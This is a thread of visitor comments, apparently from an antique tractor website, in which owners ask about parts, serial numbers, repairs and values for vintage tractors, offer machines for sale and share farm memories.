Sharon Durham wrote on Friday, April 20, 2012 (PDT):I am Sharon Durham an i am in Illinois. I need these parts where can i find them or does any one have any of theses parts. Re wheel castings with tires an rims or with out please contact me at 309 275-9474 an i work for a farmer his name is Beefy.
dale wrote on Tuesday, April 10, 2012 (PDT):I just bought a farmall b tractor and drained the fluid in the transmission Iwould like to know how much fluid to put back in it and where to check the fluid level
Dewaine Waak wrote on Tuesday, April 03, 2012 (PDT):I just purchased a 43 H. Now the search is on for implements for the back end. I m hoping to use the belly pump for lift. But while looking. I stopped in to look at disks that may fit. I found a 39 M. For sale. Now I m going to be in search of stuff for two tractors. My 20 acres is in trouble now.
jerry coker wrote on Sunday, April 01, 2012 (PDT):A D17 IS BEST TRACTOR EVER MADE YOU CAN USE 4 BOTTOM BREAKER FOUR ROW CULTIVATOR PLANT TEN FOOT DISC CUT HAY RAKE HAY BALE HAY BEST DRAFT CONTROL EVER MADE TRACTION BOOSTER
will tallmon wrote on Saturday, March 31, 2012 (PDT):i have two allis 200 tractors both runing with one working a brush hawg. i am thinking about selling them. does any body know what there worth.
Lyle wrote on Saturday, March 31, 2012 (PDT):Can anyone tell me where I can fined an oil pump for a 17 28 twin cities tractor
John wrote on Saturday, March 24, 2012 (PDT):Looking for a John Deere 80. Running condition. Grew up running one. Like to rebuild one for dad. Please email me with any comments or if u know of anyone who has one.
Neil Billger wrote on Saturday, March 24, 2012 (PDT):My uncle has a international cub LoBoy that he bought in 1952, at that time it was 4 years old. he would like to sell it. It runs well and has about 90% of it s orginal parts on it the serial # is 7037. could you possible give me a ball park figure for this tractor It s has been garage kept for all it s years.
Jakob Vanderweerd wrote on Thursday, March 22, 2012 (PDT):Have a 220 with frontwheel assist. It s running realy good and has duals on the front and the back.Has only 2400hr. Realy great condition and i m willing to sell it.519-532-2682 no sunday calls ON.CAN.
joe w carr wrote on Sunday, March 18, 2012 (PDT):i have a 1948-1950 t020 ferguson. having trouble with it burning up alternaters. positve ground tracter
Peggy Eiler wrote on Sunday, March 11, 2012 (PDT):I am in search of an electric starter for a Farmall F-20. Can anyone please help me locate or know of a source to contact Thank-you
shawn wrote on Friday, March 09, 2012 (PST):Hi all, wondering if anyone could help me out.My dad has a 1942 massey #81 row crop,it has a mechnical lift for the tractor mounted cultivators.Has anyone seen one of these,are they rare Thanks
joel kallman wrote on Wednesday, March 07, 2012 (PST):I have a 1956 case model 401 deisel good runner that I would to sell or trade,pictures available,looking for a smaller tractor that I can use in the woods with front loader.
John MacEwan wrote on Tuesday, March 06, 2012 (PST):I m helping my employer get her 8N running. No spark and compression is not that great. Any ideas It was converted to 12 volt and I am going to try a new coil and resistor. Is there anything else that I should look at The points are making and breaking and there is 12volts at the coil. Thanks in advance. She says it is a 1934 but I am going to look for the SN.
Chip Sneed wrote on Sunday, March 04, 2012 (PST):I grew up on a cotton farm in Green Lake, Texas and Daddy bought a new MM in 1953 or 1954. I spent many years working the tractor but can t remember the model. It had the high steering wheel with the trottle to the right of the steering wheel.. Also the high seat. Single front wheel. He bought it at a dealership in Austwell, Texas. I would love to identify the model and find and restore one. Looking for identification sources. Thanks.
Sandy Ullrich wrote on Wednesday, February 29, 2012 (PST):My Grandfather and his brothers farmed in NW Kansas with 3 McCormick 22-36 tractors thru the 30 s. I recently aquired one on cut offs in SW Kansas. The data plate is missing, engine serial #117876 is the only hint of what year it was manufactured. Is there record of the engine S/N s used in each year Sandy Ullrich 918-245-6092
Ronnie wrote on Wednesday, February 29, 2012 (PST):I am having trouble trying to find when my Ford Industrial Engine was manufactured it is for my ford tractor the serial number is 3184-c11cs it is made in the USA and the type is 4-28 if anyone knows please let me know I have searched the internet without any luck finding it.
Gabriel R Kowalski Oxford Mich 48371 wrote on Wednesday, February 29, 2012 (PST):Please delete my ad on the Pony Tractor Massey Harris 1952 Everything tractor and all is sold . Thanks for this forum,
SRHixson wrote on Tuesday, February 28, 2012 (PST):I have a Moline M5 diesel that I am attempting to get running now. Hasn t been run in years and has sat outside. I have thought about getting rid of it and getting a different tractor cause man it s rough and I need a working tractor. Anyone interested in a trade
Don Franklin wrote on Saturday, February 25, 2012 (PST):I am looking for culivator for g model AC year unknown but is manually let up and down by lift arm. If anyone knows where I might find a set I would appreciate the contact.Thank you
Heather wrote on Saturday, February 18, 2012 (PST):We have a 720 Electric Start Diesel Wide Front End, can anyone tell us where the serial # is and when were these manufactured
jeff m johnson wrote on Saturday, February 18, 2012 (PST):hi i have 2 case tractors,, 1 is a case sc-4,, serial #8040559 with a wide front eagle hitch, foot clutch... 2 is a case sc,, serial # 5613924 ,, narrow front, eagle hitch,, hand clutch,, how do you read the serial numbers,, yr,, month ,,date, what number it was on the line thanks for your help...
GEORGE MECHLER wrote on Saturday, February 18, 2012 (PST):We have a collection of old jd tractors 2 clyinders and need an 830 w/pony motor. Tractor will not be used for farming, Show only as we are retired farmers If you have one or know someone that has one they would sell please e-mail me. George mechler
travis smith wrote on Wednesday, February 15, 2012 (PST):if tractor is hard to start, u need to clean the wire mesh in the breather really good. i used brake cleaner, it took alot but i got it done with the help of a bucket of solvent. could also take it to a radiator shop and let there tank of solution clean it. also my would die after running for just a few minutes. there is a small screen filter on the fuel shut off valve inside the tank. if anyone could help me find a fuel tank for a super dexta would b appreciated. mine keeps sprouting leaks. thanks
Harland W Wood wrote on Monday, February 13, 2012 (PST):New at This, Need to learn ! the 20 - 30 in picture is very nice looking , However I am not sure what I am looking at , I know this is a fine piece of history, Where is the best place for me to learn about these tractors because one day I will Own one and I want to make the right Choice. Thank you
j.w.freck wrote on Saturday, February 11, 2012 (PST):looking for a complete power steering unit for a wd-45.call 903-930-1387
Jason Theisen wrote on Sunday, February 05, 2012 (PST):looking for parts or tractors 17/28and 20/35
Ron McCoy wrote on Saturday, February 04, 2012 (PST):Have a 1945 BF Avery A tractor. Would like to know the brand of motor and where the serial number is located on tractor, and where parts are available. Need a mechanics manual for tractor. Thanks, Ron
B.G. wrote on Thursday, February 02, 2012 (PST):I wonder if someone could help me with how much to ask for a JD Z101 sickle; 1941 ZTU MM tractor; 1959 New Holland Baler; 1959 5 Star MM Tractor...Also have an AC 8010 Tractor,clutch needs to be replaced and an Old Case .Tractor..these have been sitting in the pasture for years since my Dad passed away... and people keep coming by to ask me how much I would want for them.....Is there anyone that would be kind enough to give me a ballpark figure ..thank you so very much..Contat B.G. at bgd111 at sbcglobal.net; or 405 637 5354
B.G. wrote on Thursday, February 02, 2012 (PST):I wonder if someone could help me with how much to ask for a JD Z101 sickle; 1941 ZTU MM tractor; 1959 New Holland Baler; 1959 5 Star MM Tractor...Also have an AC 8010 Tractor,clutch needs to be replaced and an Old Case Tractor..these have been sitting in the pasture for years since my Dad passed away... and people keep coming by to ask me how much I would want for them.....Is there anyone that would be kind enough to give me a ballpark figure ..thank you so very much
randy williams wrote on Thursday, February 02, 2012 (PST):this note is for anyone looking for oliver oc clet trac parts try zimmerman clet trac. I found they have any thing I need for my oc4. cranks books you name it they got it, hope I was of some help.
randy williams wrote on Thursday, February 02, 2012 (PST):this note is for anyone looking for oliver oc clet trac parts try zimmerman clet trac. I found they have any thing I need for my oc4. cranks books you name it they got it, hope I was of some help.
Brian buroker wrote on Tuesday, January 31, 2012 (PST):I ve owned my 160 for about 10 years now and i love it it dose so much just dont know I guess if the price is right anything is for sale
Michael Eckert wrote on Sunday, January 29, 2012 (PST):I would like to know what color the shutters and fan blades should be on a 1949 C. I thought the starter and radiator are black and thought maybe the shutters should be too
PJ wrote on Friday, January 27, 2012 (PST):i have a m/h pacer 4 cyclinder gas engine I love my tractor it s my very first i ever owed me and my longer son LiL PJ we was fixing it I need a waterpump for it new or used if anybody know s where i can get one or i will sale it for the right price ireally want to keep it. PS Thank s for your help
brandi wrote on Friday, January 27, 2012 (PST):need to find transmission parts for a leader tractor its either a model b or a d thanks
PJ wrote on Thursday, January 26, 2012 (PST):i have a m/h pacer 4 cyclinder gas engine I love my tractor it s my very first i ever owed me and my longer son LiL PJ we was fixing it I need a waterpump for it new or used if anybody know s where i can get one or i will sale it for the right price ireally want to keep it. PS Thank s for your help
Kerry Morris wrote on Monday, January 23, 2012 (PST):I m nearing complete restorataion on a 1964, D-15 Series 11 Allis Chalmers. It was all there but in rough shape after recently retrieving it from my father-in-law. Ive rebuild everything on it and have returned it to its original condition in every respect. The project has been great fun even though I have invested more money than its probably worth. I grew up working with old ACs in Missouri as a kid so this project was a step back in time. Once done, the tractor should really be nice and show very well.
Jim Seelbach wrote on Monday, January 23, 2012 (PST):Looking for Grandfathers Massey Ferguson 35 1959 runs on LP Gas, gas tank was in the front. Sold in Texas or OK in 1996. Or trying to find one like this. Thanks.
Neil Boriskey wrote on Monday, January 23, 2012 (PST):I have a 300 utility orchard style tailpipe comming out left rear Have a loader on it and I lost hydraulic pressure to raise and tilt the loader, steering pump whines really bad when i tried to turn, thinking I need to rebuild the hydraulic pump on the tractor. is there a rebulid kit for these or just buy a new pump Anybody have any other suggestions.
Sam wrote on Sunday, January 22, 2012 (PST):My first tractor was a Super MD. The dealer unloaded it and left the operators manual on the kitchen table. Dad didnt know a thing about it, so I sat down and read the manual for a bit, the went out to try it. I will never forget pushing the lever to the gas side, starting it up, and letting it run a bit. When I pulled the lever back and heard the unmistakable crack of that Diesel take off, I was in love! I loved that tractor, it did a good job on a 4 row front mount #461 cultivator, or a 4 14s 370 plow. I used it for almost everything I had to do. We had a M5 Moline gas that was a slug compared to my Farmall. I could outwork the Moline and use less fuel, and had that distinct crack of the diesel to listen to. And smoke! The governer would kick in and the stack poured out thick black smoke. Made the neighbor kids jealous. I had a DIESEL!
indian mi wrote on Friday, January 20, 2012 (PST):looking for 2655 oliver 4 wheel drive tractor
Bill McKenna wrote on Monday, January 16, 2012 (PST):Help! My Massey Harris model #81S built in 1946 needs some help. I have used Hercules to plow the snow from my 600 foot driveway for the last ten years with no problems except he doesn t like to start when it s double digits below zero, censius . Yesterday he tried to start on the first turn over but sputtered to a stop. When I tried a second time, the starting motor made that whirring sound but would not engage. I gently rocked the engine back and forth while in neutral using a cooling fan blade and tried again with no luck. I have tried to remove the starting motor however, something inside the bell housing seems to be stopping me from removing the starter so that I can examine it more closely. My mechanic warned me to be careful or I could end up with a real mess. Any suggestions would be appreciated; there s a big snow storm coming on Thursday. Oh, we are way up here in Northern Ontario, Canada. Bill McKenna
Geeorge Q wrote on Thursday, January 05, 2012 (PST):I have a 44 and the guy I bought it from has a lot of old tractors for sale
Mel wrote on Sunday, January 01, 2012 (PST):I have a couple questions about the ZB Mineapolis tractor. How do you set it up for stock tractor pulling What s a good weight class to pull it in If you add weights, where do you suggest they go About what horse power do they have
jw wrote on Wednesday, December 28, 2011 (PST):i have a pacer.. runs great.. looks great with plow. an culivater. will sell . 1256 597 3181
mike wrote on Wednesday, December 28, 2011 (PST):I pulled a complete avery out of my grandfather/fathers barn they used to farm with it ,was in the barn probably 50 years I rescued it after my father passed needs tires but motor is free.Same as what the photo at top is. If anyone is looking to redo one please contact me would probably sell it to a good home would like to know it would be redone.. 262 496 8465
Kee Moores wrote on Monday, December 26, 2011 (PST):I have a MH 44 we have had it since it was new barn kept. I was my grand dad, my dads and I guess it s time to sell it. I parked it 2 yrs ago and now it s just in the way. It is in very good shape. Every thing is intact . Please give me some direction as how or where to list it.
Wayne Brocklebank wrote on Saturday, December 24, 2011 (PST):I have a 1956 Massey Harris model 444 tractor. For the live PTO clutch I need the 12 springs called spring, pressure . These springs are a coil spring about 1 and 1/4 inches high and about an inch in diameter. The part number I have is 1005518M1. The 444 Massey Harris makes a live PTO by putting a clutch on the right axle going to the right rear wheel. The clutch is located out side the transmission/differential housing, under the floor board on the right side of the tractor behind the brake pedals. It has absolutely no connection and is not in any way related to the main clutch of the tractor on the back of the motor. You can also contact me at phone number 519-881-2168 or 480-525-1332. Thanks
Dan Peteers wrote on Tuesday, December 20, 2011 (PST):I have an Oliver 1800 diesel that is in pretty good condition. One problem - the Pto lever won t stay engaged. I have tried to adjust the PTO clutch without any success. I have pushed in the locking pin but cannot get the nut to turn. While standing in back of the tractor, looking towards the front should I be turning the nut clockwise or counter clockwise to tighten the clutch Also how do you keep the assembly from turning while adjusting it This tractor was used mainly as a loader tractor so the PTO has had very little use. Any sugestions would be greatly appreciated. Thank you. Dan
Don Mack wrote on Thursday, December 15, 2011 (PST):I have a 1930 10 20 all parts seem to be on hand or with it. my dad had it running about 15 years ago but had a leak in oil pan. clutch is stuck now but eng. turns over and he put wrong mag on it. I need to know what manifold it should have as its got a up shot on it. I have the down shot manifold also. thank you Don
Brad Lewis wrote on Monday, December 05, 2011 (PST):I have a 300 utility that is pooring out oil while its running. Coming out under tractor in front of transmission, I believe its 80 90 weight oil. What could cause that How could I get hands on directions on how to split tractor and any tips on the best way to do that
Lucien Hamernik wrote on Saturday, December 03, 2011 (PST):Can someone tell me what were the original specifications and manufacturer for Cockshutt 30 model tires Thanks.
john b wrote on Monday, November 28, 2011 (PST): ihave an international tractor my brotherinlaw left me when he past. needs steering box worm gear and bearings i dont know what year it is only number on plate on side of motor is 3668-jw can anyone lead me in the right direction to get parts and manual. i have steering box apart but i cant get the worm gear out. thanks in advance if you can help
Ricky Pleasants wrote on Friday, November 25, 2011 (PST):we have a tractor and want to know if it is a cub lowboy, the serial number is 228885J, can you help us out with the year and make, thank you
Ward Sutton wrote on Wednesday, November 23, 2011 (PST):I have a 1941 Farmall Model AV, that I have decided to sell. The last time I had it running was about 2 years ago. It runs great, but am sure it needs a new battery. I have had it for about 22 years and up till a few years ago, I used it every year to mow our small acreage. It has a 1959 5 ft. Woods Belly Mower on it and does a great job of mowing. I have no idea of where to try to sell it or how much to sell it for. It has been repainted, motor rebuilt, and looks real good. Would appreciate some suggestions of where and how much to list it for. Just getting too old to use it anymore.
Lowell hacker wrote on Tuesday, November 22, 2011 (PST):I recently purchased a super a, it has a different grill covering the radiator it has mesh on both sides of the center vertical post the mesh is full of vertical and horizontal holes about one quarter inch in diameter. The line at the top of the grill lines up with the hood line which leads me to believe that it is original. Can anyone tell me the significance of this grill THANK YOU IN ADVANCE FOR YOUR REPLY
Patricia Olmstead wrote on Thursday, November 17, 2011 (PST):I have an old AC with steel wheels. Have no idea of the SN, my Uncle s Dad bought it new, I believe, in 1946. He had to ride it from Kansas City to Worland, MO and took him 3 days to get it home. Any suggestions on how to furter identify it. My Uncle, before his death, placed it on a concrete slab that is in my front yard.
Bobby Lovett wrote on Tuesday, November 15, 2011 (PST):Ilive in dublin ga, Ihave a dexta or super dexta the numbers next to the clutch were the tractor bolts together are 957e79082 the other numbers are k278, next to the head bolt on the numbers are 1419719 and the other numbers are 60280098f and the other number are 2ckn1372 please help me identify what month and day and year thanks ps my dad worked on fordson tractors for over 30 years but did not teach me and my brother about mechanics work
Ed Breazeale wrote on Tuesday, November 15, 2011 (PST):I have 1949 MM UTU. need left side hood panel and fenders.
Mark Sheley wrote on Sunday, November 13, 2011 (PST):Just purchased a 48D#10436. Need marvel carb parts,any help would be greatly appreciated.
kenny bennett wrote on Saturday, November 12, 2011 (PST):i have 1947 la case with comperssion of 55-45 lbs. is that wright with kerosane head i pull tractor will LP head give more power
harlan radke wrote on Thursday, November 10, 2011 (PST):Does anyone have any information of the massey-harris 203 tractors bult in the 19640 s. was there ever a 203 diesel I have a 202 and a 203 gas.
James marbury wrote on Sunday, November 06, 2011 (PST):I have a International utilty 240 would someone tell me what year the hp this tractor should have are how I can find out it will be very appreciated,
James marbury wrote on Sunday, November 06, 2011 (PST):I have a International utilty 240 would someone tell me what year the hp this tractor should have are how I can find out it will be very appreciate.
Wayne Turner wrote on Sunday, November 06, 2011 (PST):I bought my first John Deere tractor in 1980. Yes, it is a Model H and is a 1941 vintage SN; 25297 . It came home in 3 boxes and when I bought it, I was told that all I had to do was put it together. WRONG! The connecting rods were wrapped around the crank shaft and all of the oil lines had to be replaced because they literally looked like spaghetti. I drove all over East Tennessee hunting parts to put it together. My family laughed at me for sitting in the seat making engine noises. I needed a tractor to haul my fire wood with and this fit the bill for several years into the future. I still use it to haul my granddaughters on rides but no more work for this baby.
Wayne Turner wrote on Sunday, November 06, 2011 (PST):I bought my first John Deere tractor in 1980. Yes, it is a Model H and is a 1941 vintage SN; 25297 . It came home in 3 boxes and when I bought it, I was told that all I had to do was put it together. WRONG! The connecting rods were wrapped around the crank shaft and all of the oil lines had to be replaced because they literally looked like spaghetti. I drove all over East Tennessee hunting parts to put it together. My family laughed at me for sitting in the seat making engine noises. I needed a tractor to haul my fire wood with and this fit the bill for several years into the future. I still use it to haul my granddaughters on rides but no more work for this baby.
Eldwyn Van Bruggen wrote on Tuesday, October 25, 2011 (PDT):I would like the e mail address of some of you who have Samson tractors so I could get in touch with you and maybe you could help me locate some parts and share some info thanks Eldwyn I am in No. Dak..
Chris Edy wrote on Tuesday, October 25, 2011 (PDT):Selling a T20 1936 for parts Engine No good Tractor was used very little before it blew a rod Tracks and trans in greate shape
Don wrote on Tuesday, October 25, 2011 (PDT):I have a 140 with the ID tag removed and saw on one of the web sites how to identify by looking at sections of the tractor such as the engine block which shows 10-31-M for the year made.The M i believe is the year built but i can t find the web site now.I appreciate any info. Thanks!! Don
Mark Thomas wrote on Friday, October 21, 2011 (PDT):I just bought a 1949 Te20 fair condition with 4 implements for 1800s. It runs great and most everything works accept the lights on front and the oil pressure gauge. It also needs two new front tires and could also use a paint job. Can anyone tell me if this was a good deal or not
David Villarreal wrote on Wednesday, October 19, 2011 (PDT):Where can I get models of Moline tractors I want to start a collection. My dad used to drive these tractors when we were growing up near Plainview, Texas. Please let me know where I can search to order models for my collection. David Villarreal Mission, Texas
Georges Caron wrote on Tuesday, October 18, 2011 (PDT):My father was an owner of this tractor , in Canada it s a Cockshutt 70 and the color was red ,,,,,If possible , I want known if I can find a little model scale of 1 16 of this one for my collection the color can be green too ....thank you for the information if available
Dwight tyndall wrote on Tuesday, October 18, 2011 (PDT):I have a 1956 super 55.I,m looking for the hood piece that curves over the radiator cap ti the grill.also I need the lid to the tool box that is below the clutch pedal.my super 55 is in great shape and I love it.one other thing,I need a pot cover.I would appreciate any help.my email is tyndalld at intrstar.net.
Lewis wrote on Monday, October 17, 2011 (PDT):Hello every body, Well I never operated a 44 but the man I work for had one, but what I did run in 1968 was a 444 massey harris with power steering and that tractor was bad to the bone! and I was fifteen at the time and now I am 58 and my Twin brother got that5 tractoe right now! and it is still bad to the bone! and it is steel strong, but it need a nut on the rear axle to hold the hub on and if any body has one please email me are call me at 919-842-2896 Thanks!
vi wrote on Friday, October 14, 2011 (PDT):Have an F-20 to sell. 1930 s I believe. Wanting someone with willing to give LOL
Gordon Martin wrote on Wednesday, October 12, 2011 (PDT):Drove a loaner KO in 1945 while we were waiting for a new HD-7. Old model with two stacks no mufflers. Used to shoot blue flame about 8 all night and every few minutes a batch of sparks flew out. Any KO s still running
Steven Wilson wrote on Friday, September 30, 2011 (PDT):I have my dads old super oliver55 in original condition it was running 2year ago it has the original tires on it my mom wants to sell it what kind of value does it have it is gas and has some surface rust please any one email me with some info or post on this site
Bill Bryant wrote on Monday, September 26, 2011 (PDT): 830 609-0202 Interested in front end hydraulic loader for D15. I am located in Texas. Please contact if you have a good working order loader at reasnable cost.
Paul Dennis wrote on Monday, September 26, 2011 (PDT):I m trying to find the right.wheels for my VAH.I have huge tires that have been adapted to it.I saw on a paper that a 9 36 is what I need.What do I need
Paul Dennis wrote on Monday, September 26, 2011 (PDT):I m trying to find the right.wheels for my VAH.I have huge tires that have been adapted to it.I saw on a paper that a 9 36 is what I need.What do I need
Pappy Cox wrote on Sunday, September 25, 2011 (PDT):I have 2 leaders 1 is a 1937 model the story is it was built in their original shop that was in a horse barn.This tractor is so crudely built it is just unreal,and only hookup on it is a drawbar that connects right behind the front end .The other 1 is a 48 model d it s a great shape needs restoring ,it was running 5 yrs ago have used it since
stacy powell wrote on Sunday, September 25, 2011 (PDT):we have an oliver super 66 that was converted to propane. we want to convert it back to gasoline. how hard will that be is this model a collectable
John Ree wrote on Wednesday, September 21, 2011 (PDT):Would like to know value of a 1530 McCormick Deering tractor that has been sitting outside for many years. The metal looks fairly good. Engine appears to be loose. How hard will it be to get this refurbished
David Enochian wrote on Friday, September 16, 2011 (PDT):We had a Silverking with the open wheels in the fron like a 9-N would. My wife had learned to drive on this tractor. I had heart surgery and decided I could not restore it so we sold it in about 2002 to a gentleman in Frordia. We live in Chardon Ohio near cleveland. The buyer came up from Fla. and with the halp of his son in Pa. bought it and took it to Fla to restore it. We wanted to keep track of it so that hopefully one day we can buy it back. Any help would be wonderful. Thank you. David
Bob wrote on Wednesday, September 14, 2011 (PDT):They call the correct color Brewster Green its almost its a little darker than oliver green I painted both of my Rumelys with a mix I did myself and I used oliver green and put some black in it. They turned out real nice. I have a 6A and a 1919 16-30H oil pull.Magneto guy I had mine totaly rebuilt last year for 800 bucks,Amish guy in Ohio did it for me,cost alot but the thing runs great.
James Ferguson Norman Ok. wrote on Monday, September 12, 2011 (PDT):I am restoring a1962 Gvi.Itset out in a field for about 15 years.Someone stole the radiator but I found one up in Ohio.That man had a hundred Moline tracators for salvage.This is a migaty strong mchine.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
Jason Stock wrote on Sunday, September 11, 2011 (PDT):To all,expectly Phil Wright; I have alot of information about the general gg tractors. Most of the information about the general gg tractors and replacent parts are available. It just takes a little bit of research. To my knowledge they were produced from 1939 to 1942. They were also made for four other comapnies or distributor s that sold this tractor at the time period. The Cleveland Tractor Co. made the tractor in Cletrac orange, the Wards twin row also the same general gg tractor was in napa red, they also made the general gg tractor for Massey Harris Co. for only two years and only sold them in Canada,the government also wanted these tractors and ordered them in a green color, the Co-Op B1 tractor was also in red but only sold in the Southern Indiana region and no where else. I own an original Co-Op version and do not know how many were manufactured or the paint codes. This Co-Op version was made in 1941 only and no other years. I can get decal replacements, part replacements, and paint codes for all other general gg tractors. The decals and paint codes for the army and Co-Op version I am still working on but very close. I can tell you that the complete rear axle including the gears and housing is the same as a Cockshutt 20 made by Jackson. The original carburetor on mine is a Marvel Schreiber and all other components on my tractor can be replaced or rebuilt. I still have the original hand crank and magneto on this tractor and though the mag has been rebuilt and recharged it runs extremely well. When I bought it, it had sit in a barn for 32 years and I only put 7hrs. on working on it to get it running. Since then it starts on half a crank. I have info. on good places to have the mag s worked on and more info. on the replacemt parts or about the tractor itself in general. That includes the company before the general gg and after the general gg.
ron lemieux wrote on Sunday, September 04, 2011 (PDT):looking for parts 8 16 international
stan 306-786-7539 wrote on Sunday, September 04, 2011 (PDT): Have a massey 44 tractor for sale with blade runs very well and also anuthor for parts the parts one has bale forks that can be put on the running one rear mount
les hunnie wrote on Saturday, September 03, 2011 (PDT):just purchased a dextra tractor made in ingland.ib removed a bolt that i shoudnt have. on the right side by the brake pedals.there is a round aluminum cover by the foot rest facing the cover at about 11 oclock a small bolt holding somthing inside the housing .question can i remove the alum cover .is it just an inspection plate
joe fortney wrote on Saturday, September 03, 2011 (PDT):Enyone ever here of the Advance Rumley Tri Pull This is a bi directional tractor. I have pictures with my great grandfather. Would like more info, also would like to buy or own one. thank you
Gabriel wrote on Wednesday, August 31, 2011 (PDT):For sale 1952 Massey Harris Pony Tractor ,s/n PGA14246, plow ,Have Clutch plate for massey harris for sale, 516068M93 11in 10 spline , 248/628/0336
mitch seaton wrote on Wednesday, August 31, 2011 (PDT):just bought 43 h with loader and hi low gears in trans starts an runs great it flys in hi gear great tractor
Aubin Arsenault wrote on Monday, August 29, 2011 (PDT):I have a 1952 Massey Harris Wide Front End FOR SALE. Complete rebuilt motor, works good. Contact aubandlou at pei.sympatico.ca
Del Short wrote on Thursday, August 25, 2011 (PDT):At Antique Power land at Brooks Oregon there is a Heer Tractor. It s my favorite tractor along with the Samson Iron Horse.If you would like to see one come to the Steam Up each year the last week end in July and the first week end of August every year.
Randy Meier wrote on Wednesday, August 24, 2011 (PDT):I am selling my Massey 97. If you are interested please call 907 283-9246.
Douglas Fritz wrote on Monday, August 22, 2011 (PDT):I have a Leader tractor in very good shape,, SN#1384, can anyone tell me what year this would be, and what model,, it has a herc IXB5 engine
markbuck wrote on Friday, August 19, 2011 (PDT):Just got back from a tractor auction in corsica sd. Ran across a very unique little tractor I have never seen before in my life. It had been previously restored and ran this morning. Shot some pictures so I could do some research and sure enough it is a gp. Year unknown but had rubber tires and a flat head hercules engine. Sold for 14,500. One of the coolest little tractors I have ever seen.
jeremystacey wrote on Tuesday, August 09, 2011 (PDT):i own a 1948 te 20 my tractor is completely restored the only thing i need is a stater i can t seen to locate one if any one has one my phone number is 802-342-8414 i live in fair haven vermont.
rod via wrote on Tuesday, August 09, 2011 (PDT):im lookin for John Deere R fender extensions. mine had them at one time and i would like to put them back on her. please call 540-810-4569
Hayden Stone wrote on Tuesday, August 02, 2011 (PDT):We have a General GG that my father purchased new and I put many hrs. on it as a kid. We Farmed 220 acres and it did most of the tillage work. I am redoing it again and need a drive shaft universal if anyone has one let me know.
Milton Schrader wrote on Monday, August 01, 2011 (PDT):My grandfather bought a IHC 22-36 tractor which he used for plowing Once sparks from this tractor caused a straw pile to catch fire and my Uncle backed up this tractor while still on belt pulleys and pulled the threshing machine away fropm the burning straw pile and saved both the tractor and threshing machine
Randy Sandeen wrote on Friday, July 22, 2011 (PDT):My Father has a Farmall B with a Woods 6 ft. Belly Mower attached, both are in great shape and work great together, he wants 3,500 for it. Great for hugh lawns or a hobby farm. Anyone looking for something like this
james willmon wrote on Friday, July 15, 2011 (PDT):i have a pacer mf no 16 dont know year seriel is pga52387. i have plow culivater an mower in good cond. like to sell or trade . thanks in ala.
Robert Baldree wrote on Wednesday, July 13, 2011 (PDT):I just became the owner of a 1948 case tractor or that the year the man said it was. Where do i find out for such what year it is,modeland so on. If you can help let me know thanks
patrick wrote on Tuesday, July 12, 2011 (PDT):i am looking for aoil pump for a 43 vai it is a vt.125 or just sell the tractor if anyone can help please let me know thanks pat
Steve wrote on Tuesday, July 12, 2011 (PDT):I have a rumely 6 that needs a magneto rebuild or replacement. ant one know of a good resource
